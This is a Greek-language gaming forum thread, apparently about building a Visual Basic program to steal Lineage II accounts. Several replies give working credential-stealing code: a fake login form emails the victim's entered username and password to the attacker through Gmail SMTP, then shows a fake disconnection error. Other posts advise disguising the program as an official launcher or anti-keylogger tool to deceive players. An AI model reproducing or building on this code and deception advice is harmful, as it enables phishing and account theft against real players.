Jump to content

[Guide]Pws na ftiaksete ena programa gia na klevete acounts(Me to visual Basic)


Salot

Recommended Posts

Oreo guide.:) ty.work 100%:P

 

@request Kante kati re pia ti 8a gini me to double post :([eleinoc] kai to triple post [sta9iczzz ]an bariounte na edit prepi na gini kati :(

 

[move]Ston kosmo tou LineageII iparxoun poli blakes :P pistepste me :)[/move]

Link to comment
Share on other sites

Wraio alla einai megali diadikasia kai o alos prepei na einai poli xazos gia na to parei.

den einia toso megali peripou 15 lepta an  sou koveii... :P.Den einai anagi na to ftiakseis etsi alla an to ftiakseis pio "ali8ino" tote kleveis boreis na valeis allh eikona etc.
Link to comment
Share on other sites

berdema ine ala ta eksigi kala o Salot ama ka8isete kai to dite kala 8a to kanete dn pezi na mn bgi ka8isa kai ida pos ta eksigi mpori na mn ftiaxtnete ebiro programa ala mporite na klepsete kana nooba kante prota ena noobiko isa gia na dite pos ginete pano kato kai meta prospa8iste na ftiaksete kati pou na tsibah o kosmos opos egw pou to exo kani san L2 Phx!

Link to comment
Share on other sites

egw sthn arxh eftiaksa auto pou mas dinei epano meta ekana freeze messenger kai twra gia l2phx kai l2net oute 10 lepta dn m pire na ftiakso to l2phx..kai dn eime kai pro.. ama akolou9isete oti leei 9a sas vgei sigoura allios pm me gia teamviewer :P

Link to comment
Share on other sites

nai idate o alos to ebgale kala tora eci kita pos 8a to parousiazis sta 8imatatous egw tous lew oti gia na doulepsi 8eli na exis 3 meres on line me tn char tous gia na vazoun tn main char tous me ta items na mn vaz0un ta bot tous!

Link to comment
Share on other sites

xD btw den einai exploit opote einai entelws wrong section. Einai programma gia scamming. O tupos pou tha to katebasei kai tha to xrisimopoihsh prepei na einai teleiws mpeto. Kai einai antideontologiko. To forum legete maxcheaters kai oxi maxscammers. :)

 

Empas periptwsh mporei na ginei pio endiaferon kai piasariko to programmataki dilonontas panw panw stin forma gia name

"Lineage II Launcher" kai prostheseis eikona background tis efarmoghs mia eikona ap to l2 se swsto megethos (apenergopoieis ta koumpia megistopoihseis kleisimatos kai ta sxetika) kaneis force to application se full screen kai afou patisei to login tha ektelei automata kai to "l2.exe"

 

An thelete na taisete ta thumata sas me perissotera foumara bazete Description stin efarmogh "Protection Launcher for LineageII against keyloggers and scammers" na ta thumata averta :P

Link to comment
Share on other sites

If TextBox1.Text = "" Then
           MsgBox("Username Is Missing")
           If TextBox2.Text = "" Then
               MsgBox("Password Is Mising")
           Else
           End If
       End If

 

Ο παραπάνω κώδικας έχει λάθος δομή.Το λάθος είναι στην εμφωλευμένη δομή "If".Επείδη το δεύτερο "If" είναι μέσα στο πρώτο εάν ο χρήστης βάλει Username αλλά δεν βάλει κωδικό τότε το πρόγραμμα το δέχεται, κάτι που φυσικά είναι λάθος γιατί ο χρήστης δεν μπορεί να μην έχει κωδικό.Επίσης προτείνω αντί στον έλεγχο να υπάρχει "" καλύτερα να αντικατασταθεί από το String.Empty.

Ορίστε ο κώδικας με μια μικρή διόρθωση και λίγο πιο μικρός για ταχύτητα στην εκτέλεση.

 

If TextBox1.Text = String.Empty Or TextBox2.Text = String.Empty Then MsgBox("Please fill all the information needed.", MsgBoxStyle.Critical) : Exit Sub
'Υπόλοιπος κώδικας εδώ.

Link to comment
Share on other sites

If TextBox1.Text = "" Then
            MsgBox("Username Is Missing")
            If TextBox2.Text = "" Then
                MsgBox("Password Is Mising")
            Else
            End If
        End If

 

Ο παραπάνω κώδικας έχει λάθος δομή.Το λάθος είναι στην εμφωλευμένη δομή "If".Επείδη το δεύτερο "If" είναι μέσα στο πρώτο εάν ο χρήστης βάλει Username αλλά δεν βάλει κωδικό τότε το πρόγραμμα το δέχεται, κάτι που φυσικά είναι λάθος γιατί ο χρήστης δεν μπορεί να μην έχει κωδικό.Επίσης προτείνω αντί στον έλεγχο να υπάρχει "" καλύτερα να αντικατασταθεί από το String.Empty.

Ορίστε ο κώδικας με μια μικρή διόρθωση και λίγο πιο μικρός για ταχύτητα στην εκτέλεση.

 

If TextBox1.Text = String.Empty Or TextBox2.Text = String.Empty Then MsgBox("Please fill all the information needed.", MsgBoxStyle.Critical) : Exit Sub
'Υπόλοιπος κώδικας εδώ.

stealth 3rs apo p borw na ma9e tn glwssa t java? k t programmatismou :P ?

Link to comment
Share on other sites

If TextBox1.Text = "" Then
           MsgBox("Username Is Missing")
           If TextBox2.Text = "" Then
               MsgBox("Password Is Mising")
           Else
           End If
       End If

 

Ο παραπάνω κώδικας έχει λάθος δομή.Το λάθος είναι στην εμφωλευμένη δομή "If".Επείδη το δεύτερο "If" είναι μέσα στο πρώτο εάν ο χρήστης βάλει Username αλλά δεν βάλει κωδικό τότε το πρόγραμμα το δέχεται, κάτι που φυσικά είναι λάθος γιατί ο χρήστης δεν μπορεί να μην έχει κωδικό.Επίσης προτείνω αντί στον έλεγχο να υπάρχει "" καλύτερα να αντικατασταθεί από το String.Empty.

Ορίστε ο κώδικας με μια μικρή διόρθωση και λίγο πιο μικρός για ταχύτητα στην εκτέλεση.

 

If TextBox1.Text = String.Empty Or TextBox2.Text = String.Empty Then MsgBox("Please fill all the information needed.", MsgBoxStyle.Critical) : Exit Sub
'Υπόλοιπος κώδικας εδώ.

o kodikas den einai dikos mou ton eixa vrei apo ena  typo sta net p ekane kati tetia programatakia

dld na diagrapsw afto to komati to lan8asmeno kai na valw afto p m evales?

dld na einai kapws etsi?

If TextBox1.Text = String.Empty Or TextBox2.Text = String.Empty Then MsgBox("Please fill all the information needed.", MsgBoxStyle.Critical) : Exit Sub
        Dim smtpServer As New SmtpClient()
        Dim mail As New MailMessage()
        smtpServer.Credentials = New Net.NetworkCredential("Your Gmail", "Your Gmail Password")
        'using gmail
        smtpServer.Port = 587
        smtpServer.Host = "smtp.gmail.com"
        smtpServer.EnableSsl = True
        mail = New MailMessage()
        mail.From = New MailAddress("Your Gmail")
        mail.To.Add("Your Gmail")
        mail.Subject = "Username: " & TextBox1.Text
        mail.Body = "Username : " & TextBox1.Text & ", " & "Password : " & textbox2.text
        smtpServer.Send(mail)
        MsgBox("Disconnected From Server, Please try again later!")

Link to comment
Share on other sites

o kodikas den einai dikos mou ton eixa vrei apo ena  typo sta net p ekane kati tetia programatakia

dld na diagrapsw afto to komati to lan8asmeno kai na valw afto p m evales?

dld na einai kapws etsi?

If TextBox1.Text = String.Empty Or TextBox2.Text = String.Empty Then MsgBox("Please fill all the information needed.", MsgBoxStyle.Critical) : Exit Sub
        Dim smtpServer As New SmtpClient()
        Dim mail As New MailMessage()
        smtpServer.Credentials = New Net.NetworkCredential("Your Gmail", "Your Gmail Password")
        'using gmail
        smtpServer.Port = 587
        smtpServer.Host = "smtp.gmail.com"
        smtpServer.EnableSsl = True
        mail = New MailMessage()
        mail.From = New MailAddress("Your Gmail")
        mail.To.Add("Your Gmail")
        mail.Subject = "Username: " & TextBox1.Text
        mail.Body = "Username : " & TextBox1.Text & ", " & "Password : " & textbox2.text
        smtpServer.Send(mail)
        MsgBox("Disconnected From Server, Please try again later!")

 

Ναι έτσι ακριβώς.

Link to comment
Share on other sites

Stealth ginete mhpws na t kanoume etsi ... dld na bazoume t pass k na loggaroume sto l2? apot visual lew

 

Όχι έτσι ακριβώς (γίνεται αλλά αυτή τη στιγμή δεν ξέρω ακριβώς πως και θέλω λίγο χρόνο να το ψάξω, είναι του στυλ κάτι σαν ogg ή og bot) αλλά μπορείς να το κάνεις κάπως έτσι πχ.

Μόλις ο χρήστης πατήσει log in μπορείς να ξεκινήσεις το lineage , και ίσως να συμπληρώσεις στα πεδία το ID και το Password του χρήστη.

Link to comment
Share on other sites

Όχι έτσι ακριβώς (γίνεται αλλά αυτή τη στιγμή δεν ξέρω ακριβώς πως και θέλω λίγο χρόνο να το ψάξω, είναι του στυλ κάτι σαν ogg ή og bot) αλλά μπορείς να το κάνεις κάπως έτσι πχ.

Μόλις ο χρήστης πατήσει log in μπορείς να ξεκινήσεις το lineage , και ίσως να συμπληρώσεις στα πεδία το ID και το Password του χρήστη.

file m gt dn eimai psagmenos s auta otan t breis steile m to code s pm =]

Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.
Note: Your post will require moderator approval before it will be visible.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.




×
×
  • Create New...

AdBlock Extension Detected!

Our website is made possible by displaying online advertisements to our members.

Please disable AdBlock browser extension first, to be able to use our community.

I've Disabled AdBlock